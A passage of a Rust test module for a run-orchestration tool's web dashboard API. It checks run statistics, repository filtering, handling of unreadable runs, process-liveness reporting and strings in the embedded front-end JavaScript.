8767            "one unreadable run must not cost the operator the whole history"
8768        );
8769        assert_eq!(detail.status, 500);
8770        assert!(
8771            detail.json()["error"]
8772                .as_str()
8773                .is_some_and(|e| e.contains("run.json")),
8774            "the failure names the file to look at: {}",
8775            detail.body
8776        );
8777        // A skipped run has to be countable somewhere, or the UI shows an
8778        // empty history with nothing to explain it - which is exactly what a
8779        // directory full of older-schema runs looks like.
8780        let health = f.get("/api/health").await;
8781        assert_eq!(health.json()["runs_unreadable"], 1);
8782    }
8783
8784    /// The dashboard reads every run's state itself rather than trusting a
8785    /// separately-maintained count, so an unreadable run must be counted the
8786    /// same way `/api/health` counts it - never silently dropped the way the
8787    /// CLI's own `stats::load_all` drops it.
8788    #[tokio::test]
8789    async fn stats_runs_unreadable_matches_health() {
8790        let f = Fixture::start().await;
8791        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
8792        let broken = f.runs().join("20260902-140502-bad");
8793        std::fs::create_dir_all(&broken).expect("run dir");
8794        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
8795
8796        let stats = f.get("/api/stats").await;
8797        let health = f.get("/api/health").await;
8798
8799        assert_eq!(stats.status, 200);
8800        assert_eq!(stats.json()["totals"]["runs"], 1);
8801        assert_eq!(stats.json()["runs_unreadable"], 1);
8802        assert_eq!(
8803            stats.json()["runs_unreadable"],
8804            health.json()["runs_unreadable"],
8805            "the dashboard and /api/health must never disagree about how many \
8806             runs could not be read"
8807        );
8808    }
8809
8810    #[tokio::test]
8811    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
8812        let f = Fixture::start().await;
8813        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
8814        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
8815        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
8816
8817        let totals = &f.get("/api/stats").await.json()["totals"];
8818        assert_eq!(totals["runs"], 3);
8819        assert_eq!(totals["merged"], 1);
8820        assert_eq!(totals["stalled"], 1);
8821        assert_eq!(totals["in_progress"], 1);
8822        // A stalled run must never read as blocked/merged/ready - it is its
8823        // own bucket, not folded into a "decided" one.
8824        assert_eq!(totals["blocked"], 0);
8825        assert_eq!(totals["ready"], 0);
8826    }
8827
8828    #[tokio::test]
8829    async fn stats_advisors_report_proposals_and_reflection() {
8830        use crate::advise::{Advice, AdvisorRecord, Reflection};
8831        use crate::verdict::Proposal;
8832
8833        let f = Fixture::start().await;
8834        let mut state = RunState::new(
8835            PathBuf::from("/repo/magi"),
8836            "main".to_owned(),
8837            "0123456789abcdef".to_owned(),
8838            "task".to_owned(),
8839            Config::default(),
8840        );
8841        state.id = "20260902-140501-a".to_owned();
8842        state.status = RunStatus::Merged;
8843        state.advice = Some(Advice {
8844            records: vec![
8845                AdvisorRecord {
8846                    seat: "advisor-1".to_owned(),
8847                    agent: "alpha".to_owned(),
8848                    proposal: Some(Proposal {
8849                        approach: "do it".to_owned(),
8850                        key_tradeoff: "speed over memory".to_owned(),
8851                        risks: Vec::new(),
8852                        touches: Vec::new(),
8853                        why_not_naive: "breaks under load".to_owned(),
8854                    }),
8855                    error: None,
8856                    duration_ms: 0,
8857                    reflection: Reflection::Strong,
8858                },
8859                AdvisorRecord {
8860                    seat: "advisor-2".to_owned(),
8861                    agent: "alpha".to_owned(),
8862                    proposal: None,
8863                    error: Some("timed out".to_owned()),
8864                    duration_ms: 0,
8865                    reflection: Reflection::Absent,
8866                },
8867            ],
8868            synthesis: Some("blended brief".to_owned()),
8869        });
8870        let dir = f.runs().join(&state.id);
8871        std::fs::create_dir_all(&dir).expect("run dir");
8872        std::fs::write(
8873            dir.join("run.json"),
8874            serde_json::to_string_pretty(&state).expect("serialize run"),
8875        )
8876        .expect("write run.json");
8877
8878        let advisors = f.get("/api/stats").await.json()["advisors"].clone();
8879        let alpha = advisors
8880            .as_array()
8881            .expect("an array")
8882            .iter()
8883            .find(|a| a["agent"] == "alpha")
8884            .expect("alpha row");
8885        assert_eq!(alpha["seated"], 2);
8886        assert_eq!(alpha["proposed"], 1);
8887        assert_eq!(alpha["absent"], 1);
8888        assert_eq!(alpha["strong"], 1);
8889        assert_eq!(alpha["faint"], 0);
8890        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
8891    }
8892
8893    #[tokio::test]
8894    async fn stats_release_bumps_split_clean_from_attention() {
8895        use crate::run::ReleaseBump;
8896
8897        let f = Fixture::start().await;
8898
8899        let mut clean = RunState::new(
8900            PathBuf::from("/repo/magi"),
8901            "main".to_owned(),
8902            "0123456789abcdef".to_owned(),
8903            "task".to_owned(),
8904            Config::default(),
8905        );
8906        clean.id = "20260902-140501-a".to_owned();
8907        clean.status = RunStatus::Merged;
8908        clean.release_bump = Some(ReleaseBump {
8909            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
8910            version: Some("1.0.0".to_owned()),
8911            automerge_enabled: true,
8912            merged_directly: false,
8913            problem: None,
8914            action_required: None,
8915        });
8916
8917        let mut blocked = RunState::new(
8918            PathBuf::from("/repo/magi"),
8919            "main".to_owned(),
8920            "0123456789abcdef".to_owned(),
8921            "task".to_owned(),
8922            Config::default(),
8923        );
8924        blocked.id = "20260902-140502-b".to_owned();
8925        blocked.status = RunStatus::Merged;
8926        blocked.release_bump = Some(ReleaseBump {
8927            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
8928            version: Some("1.0.1".to_owned()),
8929            automerge_enabled: false,
8930            merged_directly: false,
8931            problem: Some("checks red".to_owned()),
8932            action_required: Some("look at the PR".to_owned()),
8933        });
8934
8935        for state in [&clean, &blocked] {
8936            let dir = f.runs().join(&state.id);
8937            std::fs::create_dir_all(&dir).expect("run dir");
8938            std::fs::write(
8939                dir.join("run.json"),
8940                serde_json::to_string_pretty(state).expect("serialize run"),
8941            )
8942            .expect("write run.json");
8943        }
8944
8945        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8946        assert_eq!(bumps["merged"], 2);
8947        assert_eq!(bumps["recorded"], 2);
8948        assert_eq!(bumps["pr_opened"], 2);
8949        assert_eq!(bumps["automerge_enabled"], 1);
8950        assert_eq!(bumps["needs_attention"], 1);
8951        assert_eq!(bumps["clean"], 1);
8952        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
8953        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
8954    }
8955
8956    #[tokio::test]
8957    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
8958        let f = Fixture::start().await;
8959        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
8960
8961        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8962        assert_eq!(bumps["merged"], 1);
8963        assert_eq!(bumps["recorded"], 0);
8964        // `merged` is nonzero, so coverage still reads as a real 0%, not an
8965        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
8966        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
8967        // `pr_opened` and `recorded` are both zero here, so these rates have
8968        // no denominator to compute from and must be null.
8969        assert_eq!(bumps["automerge_rate"], Value::Null);
8970        assert_eq!(bumps["attention_rate"], Value::Null);
8971    }
8972
8973    #[tokio::test]
8974    async fn stats_queue_counts_come_from_the_live_queue() {
8975        let f = Fixture::start().await;
8976        let q = f.queue();
8977        let mut queued = Task::new(
8978            "queued task".to_owned(),
8979            "do it".to_owned(),
8980            PathBuf::from("/repo"),
8981            Source::Human,
8982        );
8983        q.put(&mut queued).expect("put queued");
8984        let mut held = Task::new(
8985            "held task".to_owned(),
8986            "do it later".to_owned(),
8987            PathBuf::from("/repo"),
8988            Source::Human,
8989        );
8990        held.hold_machine(Some("out of attempts".to_owned()));
8991        q.put(&mut held).expect("put held");
8992
8993        let queue = f.get("/api/stats").await.json()["queue"].clone();
8994        assert_eq!(queue["queued"], 1);
8995        assert_eq!(queue["held"], 1);
8996        assert_eq!(queue["running"], 0);
8997        assert_eq!(queue["done"], 0);
8998        assert_eq!(queue["failed"], 0);
8999        assert_eq!(queue["blocked"], 0);
9000    }
9001
9002    #[tokio::test]
9003    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
9004        let f = Fixture::start().await;
9005        let stats = f.get("/api/stats").await;
9006        assert_eq!(stats.status, 200);
9007        assert_eq!(stats.json()["totals"]["runs"], 0);
9008        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
9009        assert_eq!(stats.json()["runs_unreadable"], 0);
9010        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
9011        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
9012        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
9013        assert_eq!(stats.json()["repo"], Value::Null);
9014    }
9015
9016    #[tokio::test]
9017    async fn stats_lists_every_repository_with_runs_recorded() {
9018        let f = Fixture::start().await;
9019        write_run_repo(
9020            &f.runs(),
9021            "20260902-140501-a",
9022            RunStatus::Merged,
9023            "/repos/a",
9024        );
9025        write_run_repo(
9026            &f.runs(),
9027            "20260902-140502-b",
9028            RunStatus::Merged,
9029            "/repos/a",
9030        );
9031        write_run_repo(
9032            &f.runs(),
9033            "20260902-140503-c",
9034            RunStatus::Blocked,
9035            "/repos/b",
9036        );
9037
9038        let stats = f.get("/api/stats").await;
9039        assert_eq!(stats.status, 200);
9040        // Unfiltered - the aggregate across both repositories.
9041        assert_eq!(stats.json()["totals"]["runs"], 3);
9042        assert_eq!(stats.json()["repo"], Value::Null);
9043
9044        let repos = stats.json()["repos"].clone();
9045        let repos = repos.as_array().unwrap();
9046        assert_eq!(repos.len(), 2);
9047        // Busiest (2 runs) first.
9048        assert_eq!(repos[0]["repo"], "/repos/a");
9049        assert_eq!(repos[0]["name"], "a");
9050        assert_eq!(repos[0]["runs"], 2);
9051        assert_eq!(repos[1]["repo"], "/repos/b");
9052        assert_eq!(repos[1]["runs"], 1);
9053    }
9054
9055    #[tokio::test]
9056    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
9057        let f = Fixture::start().await;
9058        write_run_repo(
9059            &f.runs(),
9060            "20260902-140501-a",
9061            RunStatus::Merged,
9062            "/repos/a",
9063        );
9064        write_run_repo(
9065            &f.runs(),
9066            "20260902-140502-b",
9067            RunStatus::Blocked,
9068            "/repos/b",
9069        );
9070
9071        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
9072        assert_eq!(stats.status, 200);
9073        assert_eq!(stats.json()["totals"]["runs"], 1);
9074        assert_eq!(stats.json()["totals"]["merged"], 1);
9075        assert_eq!(stats.json()["repo"], "/repos/a");
9076        // The repository list itself is unaffected by the filter - it is
9077        // what a client switches repositories from.
9078        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
9079        // runs_unreadable is a whole-workload count, never scoped to the
9080        // selected repository - see StatsView::runs_unreadable's own doc.
9081        assert_eq!(stats.json()["runs_unreadable"], 0);
9082    }
9083
9084    #[tokio::test]
9085    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
9086        let f = Fixture::start().await;
9087        write_run_repo(
9088            &f.runs(),
9089            "20260902-140501-a",
9090            RunStatus::Merged,
9091            "/repos/a",
9092        );
9093
9094        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
9095        assert_eq!(stats.status, 404);
9096    }
9097
9098    #[tokio::test]
9099    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
9100        let f = Fixture::start().await;
9101        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
9102
9103        let summary = f.get("/api/runs").await.json();
9104        let row = &summary[0];
9105        assert_eq!(row["short"], "a1b2");
9106        assert_eq!(row["status"], "ready");
9107        assert_eq!(row["done"], true);
9108        assert_eq!(row["title"], "Add a web UI");
9109        assert_eq!(row["repo_name"], "magi");
9110        assert_eq!(row["judges"], 3);
9111        assert_eq!(row["winner"], Value::Null);
9112        assert_eq!(row["reviews"], 0);
9113
9114        // The short id resolves, and the detail route is the state itself, not
9115        // a projection of it: the UI reads fields the summary does not carry.
9116        let detail = f.get("/api/runs/a1b2").await;
9117        assert_eq!(detail.status, 200);
9118        assert_eq!(detail.json()["base_branch"], "main");
9119        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
9120    }
9121
9122    /// `status: "ready"` alone cannot tell a run still headed for a landing
9123    /// (a PR closed without merging, say) apart from one `[merge] mode =
9124    /// "none"` left unmerged for good — the confusion the operator flagged
9125    /// after the CLI report already grew a `not landed — nothing to do by
9126    /// design` line for exactly this case (`report.rs`). Both the list route
9127    /// and the detail route must carry a flag the phone can key on instead of
9128    /// re-deriving it from `status` + `merge.mode` itself.
9129    #[tokio::test]
9130    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
9131        let f = Fixture::start().await;
9132
9133        let mut none_run = RunState::new(
9134            PathBuf::from("/repo/magi"),
9135            "main".to_owned(),
9136            "0123456789abcdef".to_owned(),
9137            "Add a web UI".to_owned(),
9138            Config::default(),
9139        );
9140        none_run.id = "20260902-140503-none".to_owned();
9141        none_run.status = RunStatus::Ready;
9142        none_run.merge = Some(crate::run::MergeOutcome {
9143            mode: crate::config::MergeMode::None,
9144            ok: true,
9145            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
9146            empty: false,
9147        });
9148        write_state(&f.runs(), &none_run);
9149
9150        let mut pr_run = RunState::new(
9151            PathBuf::from("/repo/magi"),
9152            "main".to_owned(),
9153            "0123456789abcdef".to_owned(),
9154            "Add a web UI".to_owned(),
9155            Config::default(),
9156        );
9157        pr_run.id = "20260902-140504-prcl".to_owned();
9158        pr_run.status = RunStatus::Ready;
9159        pr_run.merge = Some(crate::run::MergeOutcome {
9160            mode: crate::config::MergeMode::Pr,
9161            ok: false,
9162            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
9163            empty: false,
9164        });
9165        write_state(&f.runs(), &pr_run);
9166
9167        let summary = f.get("/api/runs").await.json();
9168        let rows: std::collections::HashMap<&str, &Value> = summary
9169            .as_array()
9170            .expect("an array")
9171            .iter()
9172            .map(|r| (r["id"].as_str().expect("an id"), r))
9173            .collect();
9174        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
9175        assert_eq!(
9176            rows[none_run.id.as_str()]["unmerged_by_design"],
9177            true,
9178            "a mode-none Ready must be flagged in the list"
9179        );
9180        assert_eq!(
9181            rows[pr_run.id.as_str()]["unmerged_by_design"],
9182            false,
9183            "a Ready reached by a closed pull request is a different case"
9184        );
9185
9186        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
9187        assert_eq!(none_detail["status"], "ready");
9188        assert_eq!(none_detail["unmerged_by_design"], true);
9189
9190        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
9191        assert_eq!(pr_detail["unmerged_by_design"], false);
9192    }
9193
9194    /// `RunState::active` is only ever cleared by whoever populated it, so the
9195    /// detail route also has to say whether a daemon is actually still
9196    /// driving this run right now — otherwise a seat from a killed process's
9197    /// last wave would read as live forever.
9198    #[tokio::test]
9199    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
9200        let f = Fixture::start().await;
9201        // Matches `write_daemon`'s hard-coded `current.run`, so the second
9202        // half of this test can claim the daemon is working on it without a
9203        // second helper.
9204        let id = "20260902-140502-bbbb";
9205        let mut state = RunState::new(
9206            PathBuf::from("/repo/magi"),
9207            "main".to_owned(),
9208            "0123456789abcdef".to_owned(),
9209            "Add a web UI".to_owned(),
9210            Config::default(),
9211        );
9212        state.id = id.to_owned();
9213        state.status = RunStatus::Judging;
9214        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
9215        let dir = f.runs().join(id);
9216        std::fs::create_dir_all(&dir).expect("run dir");
9217        std::fs::write(
9218            dir.join("run.json"),
9219            serde_json::to_string_pretty(&state).expect("serialize run"),
9220        )
9221        .expect("write run.json");
9222
9223        // No daemon.json at all, and no `driver_pid` recorded either (this
9224        // state was written directly, never through `execute()`): there is
9225        // nothing to confirm either way, so the route must say `"unknown"` —
9226        // never `"dead"`, which is exactly the false diagnosis a manual `magi
9227        // run` used to get from this route before `driver_pid` existed.
9228        let cold = f.get(&format!("/api/runs/{id}")).await.json();
9229        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
9230        assert_eq!(cold["live"], "unknown", "{cold}");
9231
9232        // A fresh heartbeat naming exactly this run: the same entry now reads
9233        // as confirmed, not merely recorded.
9234        write_daemon(f.home.path(), Timestamp::now());
9235        let warm = f.get(&format!("/api/runs/{id}")).await.json();
9236        assert_eq!(warm["live"], "live", "{warm}");
9237    }
9238
9239    /// Where a run came from is shown, and a run written before origins were
9240    /// recorded (schema 12, no `origin` key) stays readable and says so.
9241    #[tokio::test]
9242    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
9243        let f = Fixture::start().await;
9244        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
9245            let mut state = RunState::new(
9246                PathBuf::from("/repo/magi"),
9247                "main".to_owned(),
9248                "0123456789abcdef".to_owned(),
9249                "Add a web UI".to_owned(),
9250                Config::default(),
9251            );
9252            state.id = id.to_owned();
9253            state.origin = origin;
9254            let mut value = serde_json::to_value(&state).expect("serialize run");
9255            if let Some(schema) = schema {
9256                value["schema"] = serde_json::json!(schema);
9257                value.as_object_mut().unwrap().remove("origin");
9258            }
9259            let dir = f.runs().join(id);
9260            std::fs::create_dir_all(&dir).expect("run dir");
9261            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
9262        };
9263        write(
9264            "20260930-092817-ec34",
9265            Some(crate::run::Origin::from_agent_env(
9266                Some(("4a7b".to_owned(), "chat".to_owned())),
9267                None,
9268            )),
9269            None,
9270        );
9271        write("20260930-092817-0ld1", None, Some(12));
9272
9273        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
9274        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
9275        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
9276
9277        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
9278        assert_eq!(
9279            old["origin_label"], "origin unknown (started before origins were recorded)",
9280            "{old}"
9281        );
9282        assert!(old["origin"].is_null(), "{old}");
9283
9284        let list = f.get("/api/runs").await.json();
9285        let labels: Vec<_> = list
9286            .as_array()
9287            .unwrap()
9288            .iter()
9289            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
9290            .collect();
9291        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
9292    }
9293
9294    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
9295    /// review` claims no daemon at all, so before this field existed the
9296    /// route above read it as `"dead"` — indistinguishable from a run a
9297    /// killed process abandoned — the whole time it was genuinely still
9298    /// answering. With a live pid recorded, it must read `"live"` even
9299    /// though no daemon claims it.
9300    #[tokio::test]
9301    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
9302        let f = Fixture::start().await;
9303        let id = "20260922-090000-cccc";
9304        let mut state = RunState::new(
9305            PathBuf::from("/repo/magi"),
9306            "main".to_owned(),
9307            "0123456789abcdef".to_owned(),
9308            "Review only".to_owned(),
9309            Config::default(),
9310        );
9311        state.id = id.to_owned();
9312        state.status = RunStatus::Reviewing;
9313        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
9314        // This test process's own pid: guaranteed alive, and never needs a
9315        // real daemon or a second process to prove it. The matching start-time
9316        // marker is what `liveness` now requires alongside a live pid — see
9317        // `RunState::driver_started_at`'s own doc for why the pid alone is
9318        // not enough.
9319        state.driver_pid = Some(std::process::id());
9320        state.driver_started_at = Some(
9321            crate::proc::process_started_at(std::process::id())
9322                .expect("this test process's own start time must be queryable"),
9323        );
9324        let dir = f.runs().join(id);
9325        std::fs::create_dir_all(&dir).expect("run dir");
9326        std::fs::write(
9327            dir.join("run.json"),
9328            serde_json::to_string_pretty(&state).expect("serialize run"),
9329        )
9330        .expect("write run.json");
9331
9332        let detail = f.get(&format!("/api/runs/{id}")).await.json();
9333        assert_eq!(detail["live"], "live", "{detail}");
9334    }
9335
9336    /// A killed manual run's pid can be handed to a wholly unrelated later
9337    /// process — a live query on `driver_pid` alone would read this as
9338    /// `"live"`, exactly the false positive `driver_started_at` exists to
9339    /// catch (see that field's own doc, and `RunState::liveness_with`'s
9340    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
9341    #[tokio::test]
9342    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
9343        let f = Fixture::start().await;
9344        let id = "20260922-090100-dddd";
9345        let mut state = RunState::new(
9346            PathBuf::from("/repo/magi"),
9347            "main".to_owned(),
9348            "0123456789abcdef".to_owned(),
9349            "Review only".to_owned(),
9350            Config::default(),
9351        );
9352        state.id = id.to_owned();
9353        state.status = RunStatus::Reviewing;
9354        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
9355        // This test process's own pid really is alive, but the marker
9356        // recorded here does not match what it actually started at —
9357        // standing in for the pid having since been reused by a different
9358        // process than the one that wrote `run.json`.
9359        state.driver_pid = Some(std::process::id());
9360        state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
9361        let dir = f.runs().join(id);
9362        std::fs::create_dir_all(&dir).expect("run dir");
9363        std::fs::write(
9364            dir.join("run.json"),
9365            serde_json::to_string_pretty(&state).expect("serialize run"),
9366        )
9367        .expect("write run.json");
9368
9369        let detail = f.get(&format!("/api/runs/{id}")).await.json();
9370        assert_eq!(detail["live"], "dead", "{detail}");
9371    }
9372
9373    /// The deck's competition list is normally the first place an operator
9374    /// sees an old run. It must carry the same process verdict as detail, or
9375    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
9376    #[test]
9377    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
9378        let mk = |id: &str, pid: Option<u32>| {
9379            let mut s = RunState::new(
9380                PathBuf::from("/repo/magi"),
9381                "main".to_owned(),
9382                "0123456789abcdef".to_owned(),
9383                "Add a web UI".to_owned(),
9384                Config::default(),
9385            );
9386            s.id = id.to_owned();
9387            s.driver_pid = pid;
9388            s.driver_started_at = Some("t0".to_owned());
9389            s
9390        };
9391        let states = vec![
9392            mk("20260902-140502-aaaa", Some(77)),
9393            mk("20260902-140502-bbbb", Some(77)),
9394            mk("20260902-140502-cccc", Some(77)),
9395            mk("20260902-140502-dddd", None),
9396        ];
9397        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
9398        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
9399        let sup: HashMap<String, String> = [(
9400            "20260902-140502-aaaa".to_owned(),
9401            "20260902-140502-cccc".to_owned(),
9402        )]
9403        .into();
9404
9405        let status_calls = std::cell::Cell::new(0);
9406        let identity_calls = std::cell::Cell::new(0);
9407        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
9408            |_| {
9409                status_calls.set(status_calls.get() + 1);
9410                Some(true)
9411            },
9412            |_| {
9413                identity_calls.set(identity_calls.get() + 1);
9414                Some("t0".to_owned())
9415            },
9416        ));
9417        let rows = summarize(
9418            states,
9419            &open,
9420            &claimed,
9421            &sup,
9422            |p| probe.borrow_mut().status(p),
9423            |p| probe.borrow_mut().started_at(p),
9424        );
9425
9426        assert_eq!(status_calls.get(), 1, "one pid, one status query");
9427        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
9428        assert_eq!(rows.len(), 4);
9429        assert!(!rows[0].waiting && rows[1].waiting);
9430        assert_eq!(rows[0].live, crate::run::Liveness::Live);
9431        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
9432        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
9433        assert_eq!(rows[1].superseded_by, None);
9434    }
9435
9436    #[test]
9437    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
9438        let mut state = RunState::new(
9439            PathBuf::from("/repo/magi"),
9440            "main".to_owned(),
9441            "0123456789abcdef".to_owned(),
9442            "Review only".to_owned(),
9443            Config::default(),
9444        );
9445        state.id = "20260922-090200-dead".to_owned();
9446        state.status = RunStatus::Reviewing;
9447        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
9448            .expect("serialize list row");
9449        assert_eq!(row["status"], "reviewing");
9450        assert_eq!(row["live"], "dead", "{row}");
9451        assert!(!row["done"].as_bool().unwrap());
9452    }
9453
9454    #[tokio::test]
9455    async fn the_run_list_is_newest_first_and_honours_a_limit() {
9456        let f = Fixture::start().await;
9457        for id in [
9458            "20260902-140501-aaaa",
9459            "20260902-140502-bbbb",
9460            "20260902-140503-cccc",
9461        ] {
9462            write_run(&f.runs(), id, RunStatus::Merged);
9463        }
9464
9465        let all = f.get("/api/runs").await.json();
9466        let capped = f.get("/api/runs?limit=2").await.json();
9467
9468        assert_eq!(all[0]["id"], "20260902-140503-cccc");
9469        assert_eq!(all.as_array().map(Vec::len), Some(3));
9470        assert_eq!(capped.as_array().map(Vec::len), Some(2));
9471        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
9472    }
9473
9474    #[tokio::test]
9475    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
9476        let f = Fixture::start().await;
9477        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
9478
9479        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
9480
9481        assert_eq!(res.status, 200);
9482        assert!(
9483            res.headers
9484                .contains("content-type: text/plain; charset=utf-8"),
9485            "a browser must render it, not download it: {}",
9486            res.headers
9487        );
9488        // The assertion is on content, not on the absence of escapes: colour
9489        // is a process-global that `serve` turns off at startup, and another
9490        // test in this binary may own it while this one runs.
9491        assert!(
9492            res.body.contains("20260902-140501-a1b2"),
9493            "the report is about the run that was asked for: {}",
9494            res.body
9495        );
9496    }
9497
9498    #[tokio::test]
9499    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
9500        let f = Fixture::start().await;
9501
9502        let html = f.get("/").await;
9503        let css = f.get("/app.css").await;
9504        let js = f.get("/app.js").await;
9505
9506        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
9507        assert!(
9508            html.headers
9509                .contains("content-type: text/html; charset=utf-8")
9510        );
9511        assert!(css.headers.contains("content-type: text/css"));
9512        assert!(js.headers.contains("content-type: text/javascript"));
9513        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
9514    }
9515
9516    #[test]
9517    fn live_runs_are_never_hidden_or_folded_as_superseded() {
9518        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
9519        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
9520        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
9521        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
9522    }
9523
9524    #[test]
9525    fn review_rounds_label_a_distinct_verified_head() {
9526        assert!(APP_JS.contains("round.verified_head"));
9527        assert!(APP_JS.contains("verified HEAD"));
9528        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
9529    }
9530
9531    #[test]
9532    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
9533        // A blocked task's chip and note must not fall back to a queued-like
9534        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
9535        // itself by e11fc58 but never checked here.
9536        assert!(APP_JS.contains("blocked: { glyph:"));
9537        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
9538
9539        // `blocked_by` mixes task ids and question ids in the same list, and
9540        // the client can only tell them apart by checking each id against
9541        // what it actually knows - never by guessing from the id's shape.
9542        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
9543        assert!(
9544            APP_JS.contains(
9545                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
9546            ),
9547            "the note line must name what a blocked task is waiting on, not just that it is blocked"
9548        );
9549        // The classification must key off `status_str`, never off `blocked_by`
9550        // or `block_reason` merely being present - both can survive briefly
9551        // on a task a hold or a dead daemon just moved off `blocked`.
9552        assert!(APP_JS.contains("if (status === \"blocked\") {"));
9553
9554        // A question a task is blocked on gets its own node in the same
9555        // dependency graph, not just a task-shaped node with nothing known
9556        // about it.
9557        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
9558        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
9559        assert!(
9560            APP_JS.contains("location.hash = \"#/questions\";"),
9561            "a question node must jump to the Questions screen, not pretend to be a task"
9562        );
9563
9564        // `Task::answers` - decisions already made - are shown as a record on
9565        // the card, the same disclosure style as the full instruction.
9566        assert!(APP_JS.contains("Resolved questions"));
9567        assert!(APP_JS.contains("r.answersList.append("));
9568        assert!(APP_CSS.contains(".task-answers"));
9569        {
9570            let start = APP_JS
9571                .find("function updateTalkTaskRow")
9572                .expect("updateTalkTaskRow");
9573            let body = &APP_JS[start..start + 900];
9574            assert!(body.contains("task.runs[") || body.contains("runs[runs.length - 1]"));
9575            assert!(body.contains("setAttr(r.link, \"href\""));
9576            assert!(body.contains(
9577                "latest ? `#/runs/${latest}` : `#/queue/${encodeURIComponent(task.id)}`"
9578            ));
9579            assert!(
9580                !body.contains(": \"#/queue\""),
9581                "a task with no run must link to its own queue card, not the bare queue"
9582            );
9583            assert!(APP_CSS.contains(".talk-task-link"));
9584        }
9585    }
9586
9587    #[test]
9588    fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
9589        // A `kind: "task"` notice link used to drop the id on the floor and
9590        // point at `#/queue` outright, so every task notification landed on
9591        // whatever happened to be first in the Backlog rather than the task
9592        // it was actually about.
9593        assert!(
9594            APP_JS.contains(
9595                "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
9596            ),
9597            "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
9598        );
9599        assert!(
